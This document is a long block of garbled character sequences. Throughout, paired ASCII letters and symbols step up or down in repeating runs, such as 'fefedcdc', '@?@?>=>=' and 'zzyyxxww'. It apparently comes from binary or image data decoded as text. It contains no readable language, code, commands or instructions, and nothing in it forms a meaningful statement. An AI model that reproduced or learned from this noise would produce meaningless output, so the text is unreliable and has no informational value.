hghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghgggggfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijighghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOMMMMMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijighghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOMNMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijighghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPOMNMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijighghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSRQRQPOPOPOPOMNMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijighghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOMNMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijighggggggfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUTSTSRQRQRQRQPOPOPOPOMNMNMNMMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPOMMMMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmlkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBA@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopoponmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCBABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqponmnmnmnmlklklklkjijijijihgggggghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[ZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMMMLKLKLKLKJIJIJIJIHGHGHGHGFEDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijighghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMMMNMNMNLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutststsrqpopopoponmnmnmnmlklklklkjijijijighghghghfefefefedcdcdcdcbabababa`_`_`_`_^]^]\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNLKLKLKLKJIJIJIJIHGFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmlklklklkjijijijighghghghfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvutsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijighghghghfefefefedcdcdcdcbabababa`_`_^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNLKLKLKLKJIHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijighghghghfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMNMNLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijigggggghgfefefefedcdcdcdcbaba`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMNMNMMMMLKJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOMMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcbaba`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}|{|{|{zyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefedcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijigggghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghgfefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPONMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMMMMMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:98787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - - @?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - - @?@?@?@?>=>=>=>=<;:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434333212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=<;<;<;:9:9:9:9878787876565656533343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?<;<;<;<;:9:9:9:9878787876565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?>=>=>=<;<;<;<;:9:9:9:9878787876565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:9878787876565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:9878787876565656534343434212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:9878787876565656534343333212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:9878787876565656533434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:9878787876565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565434333330/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878743333334212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878734343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878733333343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:98787876543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:96565656533333434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:96565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:96565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:96565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - >=>=>=>=<;<;<;<;:9:9:9:96565656534343434212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    >=>=>=>=<;<;<;<;:9:9:9:96565656534343433212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - >=>=>=>=<;<;<;<;:9:9:9:96565656533334343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - >=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#       - - - - zzyyxxwwffggmmnn!!""##$$||{{zzyy11223344llkkjjiiTTUUVVWW!!  - - **++,,--ssrrqqpp::;;<<==ccbbaa``JJKKLLMM??>>==<<##$$%%&&zzyyxxww33445566jjiihhggCCDDEEFFZZYYXXWWSSTTUUVVJJIIHHGG{{||}}~~ ~~,,--..//qqppoonn<<==>>??aa``__^^LLMMNNOO vvuuttssooppqqrr%%&&''((xxwwvvuu55667788hhggffeeXXYYZZ[[ !!~~}}||..//0011oonnmmll>>??@@AA__^^]]\\NNOOPPQQ;;::9933''(())**vvuuttss778899::ffeeddccGGHHIIJJVVUUTTSSWWXXYYZZFFEEDDCC}}||{{zz00112233mmllkkjj@@AABBCC]]\\[[ZZPPQQRRSS!!""##$$rrqqppoossttuuvv - - ))**++,,ttssrrqq99::;;<>bbaa``__KKLLMMNNRRQQPPOO[[\\]]^^BBAA@@??yyxxwwvv44556677iihhggffDDEEFFGGYYXXWWVVTTUUVVWW%%&&''((nnmmggffwwxxyyzz - -  ~~}}--..//00ppoonnmm==>>??@@``__^^]]``aabbcc &&''(())wwvvuutt66778899ggffeeddFFGGHHIIWWVVUUTTVVWWXXYY..--,,++ !!""~~}}||{{//001122nnmmllkk??@@AABB^^]]\\[[OOPPQQRRNNMMLLKK__``aabb>>==<<;;uuttssrr8899::;;eeddccbbHHIIJJKKUUTTSSRRXXYYZZ[[))**++,,eeddccbb{{||}}~~ !!""##$$||{{zzyy11223344llkkjjiiAABBCCDD\\[[ZZYYddeeffgg - - **++,,--ssrrqqpp::;;<<==ccbbaa``JJKKLLMMSSRRQQPPZZ[[\\]]**))((''##$$%%&&zzyyxxww33445566jjiihhggCCDDEEFFZZYYXXWWSSTTUUVVJJIIHHGGccddeeff::998877 !!""#qqppoonn<<==>>??aa``__^^LLMMNNOOQQPPOONN\\]]^^__--..//00aa``__^^%%&&''((xxwwvvuu55667788hhggffeeEEFFGGHHXXWWVVUUmmnnoopp !!~~}}||..//0011oonnmmll>>??@@AA__^^]]\\NNOOPPQQOONNMMLL^^__``aa&&%%$$##''(())**vvuuttss778899::ffeeddccGGHHIIJJVVUUTTSSWWXXYYZZFFEEDDCCgghhiijj66554433#$$%%&&'mmllkkjj@@AABBCC]]\\[[ZZPPQQRRSSMMLLKKJJ``aabbcc11223344]]\\[[ZZ - - ))**++,,ttssrrqq99::;;<>bbaa``__KKLLMMNNRRQQPPOO[[\\]]^^BBAA@@??kkllmmnn221100//'(())**+iihhggffDDEEFFGGYYXXWWVVTTUUVVWWIIHHGGFFddeeffgg55667788YYXXWWVV  ~~}}--..//00ppoonnmm==>>??@@``__^^]]MMNNOOPPPPOONNMMuuvvwwxx - -&&''(())wwvvuutt66778899ggffeeddFFGGHHIIWWVVUUTTVVWWXXYYGGFFEEDDffgghhii//001122nnmmllkk??@@AABB^^]]\\[[OOPPQQRRNNMMLLKK__``aabb>>==<<;;ooppqqrr..--,,+++,,--../eeddccbbHHIIJJKKUUTTSSRRXXYYZZ[[EEDDCCBBhhiijjkk99::;;<>llmmnnoo~~}}==>>??@@LLKKJJII%%&&''((xxwwvvuu55667788hhggffeeEEFFGGHHXXWWVVUUUUVVWWXXHHGGFFEE}}~~~~}}||..//0011oonnmmll>>??@@AA__^^]]\\NNOOPPQQOONNMMLL^^__``aa??>>==<>bbaa``__KKLLMMNNRRQQPPOO[[\\]]^^BBAA@@??kkllmmnn221100//{{||}}~~""!! ::;;<<==YYXXWWVVTTUUVVWWIIHHGGFFddeeffgg99887766ttuuvvwwxxwwvvuuEEFFGGHHDDCCBBAA ~~}}--..//00ppoonnmm==>>??@@``__^^]]MMNNOOPPPPOONNMM]]^^__``@@??>>==wwvvuutt66778899ggffeeddFFGGHHIIWWVVUUTTVVWWXXYYGGFFEEDDffgghhii77665544vvwwxxyy zzyyxxww??@@AABB^^]]\\[[OOPPQQRRNNMMLLKK__``aabb>>==<<;;ooppqqrr..--,,++>>??@@AAUUTTSSRRXXYYZZ[[EEDDCCBBhhiijjkk55443322xxyyzz{{ttssrrqqIIJJKKLL@@??>>==!!""##$$||{{zzyy11223344llkkjjiiAABBCCDD\\[[ZZYYQQRRSSTTLLKKJJIIaabbccdd<<;;::99 !ssrrqqpp::;;<<==ccbbaa``JJKKLLMMSSRRQQPPZZ[[\\]]CCBBAA@@jjkkllmm33221100zz{{||}}vvuuttssCCDDEEFFZZYYXXWWSSTTUUVVJJIIHHGGccddeeff::998877ssttuuvv**))((''BBCCDDEEQQPPOONN\\]]^^__AA@@??>>llmmnnoo1100//..||}}~~ppoonnmmMMNNOOPP<<;;::99%%&&''((xxwwvvuu55667788hhggffeeEEFFGGHHXXWWVVUUUUVVWWXXHHGGFFEEeeffgghh88776655!""##$$%oonnmmll>>??@@AA__^^]]\\NNOOPPQQOONNMMLL^^__``aa??>>==<>??@@``__^^]]MMNNOOPPPPOONNMM]]^^__``@@??>>==mmnnoopp00//..--)**++,,-ggffeeddFFGGHHIIWWVVUUTTVVWWXXYYGGFFEEDDffgghhii77665544vvwwxxyy''&&%%$$hggffeedOOPPQQRRNNMMLLKK__``aabb>>==<<;;ooppqqrr..--,,++ ~~}}||{{NOPQRSSTEEDDCCBBhhiijjkk55443322xxyyzz{{%%$$##""ddccbbaaYYZZ[[\\++**))((11223344llkkjjiiAABBCCDD\\[[ZZYYQQRRSSTTLLKKJJIIaabbccdd<<;;::99qqrrsstt,,++**))-..//001ccbbaa``JJKKLLMMSSRRQQPPZZ[[\\]]CCBBAA@@jjkkllmm33221100zz{{||}}##""!! dccbbaa`SSTTUUVVJJIIHHGGccddeeff::998877ssttuuvv**))(('' - - zzyyxxwwTUUVVWWXAA@@??>>llmmnnoo1100//..||}}~~!! ``__^^]]]]^^__``''&&%%$$55667788hhggffeeEEFFGGHHXXWWVVUUUUVVWWXXHHGGFFEEeeffgghh88776655uuvvwwxx((''&&%%12233456__^^]]\\NNOOPPQQOONNMMLL^^__``aa??>>==<>??@@``__^^]]MMNNOOPPPPOONNMM]]^^__``@@??>>==mmnnoopp00//..--}}~~ <<==>>??WWVVUUTTVVWWXXYYGGFFEEDDffgghhii77665544vvwwxxyy''&&%%$$%%&&''((XWWVVUUT__``aabb>>==<<;;ooppqqrr..--,,++  - -nnmmggff`aabbccd55443322xxyyzz{{%%$$##""TTSSRRQQiijjkkll~~}}||AABBCCDD\\[[ZZYYQQRRSSTTLLKKJJIIaabbccdd<<;;::99qqrrsstt,,++**))@@AABBCCSSRRQQPPZZ[[\\]]CCBBAA@@jjkkllmm33221100zz{{||}}##""!! ))**++,,TSSRQPONccddeeff::998877ssttuuvv**))(('' - -  eeddccbbdeeffggh1100//..||}}~~!! PPOONNMMmmnnoopp{{zzyyxxEEFFGGHHXXWWVVUUUUVVWWXXHHGGFFEEeeffgghh88776655uuvvwwxx((''&&%%DDEEFFGGOONNMMLL^^__``aa??>>==<>==mmnnoopp00//..--}}~~  ~~}}LLMMNOPQGGFFEEDDffgghhii77665544vvwwxxyy''&&%%$$::;;<<==EEDDCCBBooppqqrr..--,,++ YYXXWWVVssttuuvv%%$$##""DDCCBBAAyyzz{{|| oonnmmlkQQRRSSTTLLKKJJIIaabbccdd<<;;::99qqrrsstt,,++**)) - - ||{{zzyyRSSTTUUVCCBBAA@@jjkkllmm33221100zz{{||}}##""!! >>??@@AAAA@@??>>ssttuuvv**))(('' - -  - - !!""##UUTTSSMMwwxxyyzz!! @@??>>==}}~~jihggffeUUVVWWXXHHGGFFEEeeffgghh88776655uuvvwwxx((''&&%%xxwwvvuuVWWXXYYZ??>>==<>==mmnnoopp00//..--}}~~  ppoonnmm^__``aab77665544vvwwxxyy''&&%%$$ - - JJKKLLMM3221100/ ,,--..//DDCCBBAA 44332211 !!""##]\\[[ZZYaabbccdd<<;;::99qqrrsstt,,++**)) - - - - ggffeeddbccddeef33221100zz{{||}}##""!! SSTTUUVV/..--,,+ - -  - -00112233@@??>>==00//..--$$%%&&''YXXWWVVUeeffgghh88776655uuvvwwxx((''&&%% ccbbaa``fgghijkl//..--,,~~ ~~WWXXYYZZ+**))((' 99::;;<<<<;;::99 - -QQPPOONN,,++**))(())**++UTTSSRQPiijjkkll44332211yyzz{{||$$##""!!__^^]]\\mmnnoopp++**))(( - -  }}||{{zz[[\\]]^^'&&%%$$# !!""~~}}||{{==>>??@@33221100  - - MMLLKKJJ((''&&%%,,--..//ONMMLLKKmmnnoopp00//..--}}~~  [[ZZYYXXqqrrsstt''&&%%$$ - - yyxxwwvv__``aabb#""!!  ##$$%%&&zzyyxxwwAABBCCDD//..--,, ~~IIHHGGFF$$##""!!00112233JJIIHHGGqqrrsstt,,++**)) - -  !!WWVVUUTTuuvvwwxx##""!!  !!uuttssrrccddeeff - -  - -''(())**vvuuttssEEFFGGHH++**))(( !!""##}}||{{zzEEDDCCBB 99::;;<>==>>??@@BBAA@@??yyzz{{||$$##""!! &&''(())JJIIHHGG}}~~ - -  &&''(())mmggffeeppqqrrss !!""~~}}||{{//001122nnmmllkkMMSSTTUU##""!!  - - (())**++uuttssrr==<<;;::AABBCCDD>>==<<;;}}~~  **++,,--FFEEDDCC - - **++,,--ddccbbaattuuvvww ##$$%%&&zzyyxxww33445566jjiihhggVVWWXXYY ~~,,--..//qqppoonn99887766EEFFGGHH::998765 - - ..//0011BBAA@@?? !!~~}}||..//0011``__^^]]xxyyzz{{ - -  - 